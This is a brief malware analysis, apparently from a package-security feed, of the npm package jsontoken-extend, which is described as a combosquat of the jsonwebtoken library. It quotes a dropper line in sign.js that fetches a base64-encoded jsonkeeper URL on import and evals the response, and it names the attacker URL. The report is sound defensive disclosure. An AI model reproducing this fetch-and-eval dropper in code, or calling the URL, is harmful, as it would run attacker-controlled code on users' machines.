jsontoken-extend@1.0.13

Analysis

Combosquat of jsonwebtoken (name: jsontoken-extend). sign.js contains an IIFE that runs on require(): fetch(atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9YQU1SSw==')) -> hxxps://www[.]jsonkeeper[.]com/b/XAMRK, parses JSON response and evals data.content — classic remote code execution dropper. A second commented-out block targets a different jsonkeeper[.]com URL. No token-theft markers, but the package is a supply-chain trojan: it impersonates the popular JWT library and executes attacker-controlled code from a remote paste service on import. Publisher uses free Outlook email; deps include deprecated request and execp.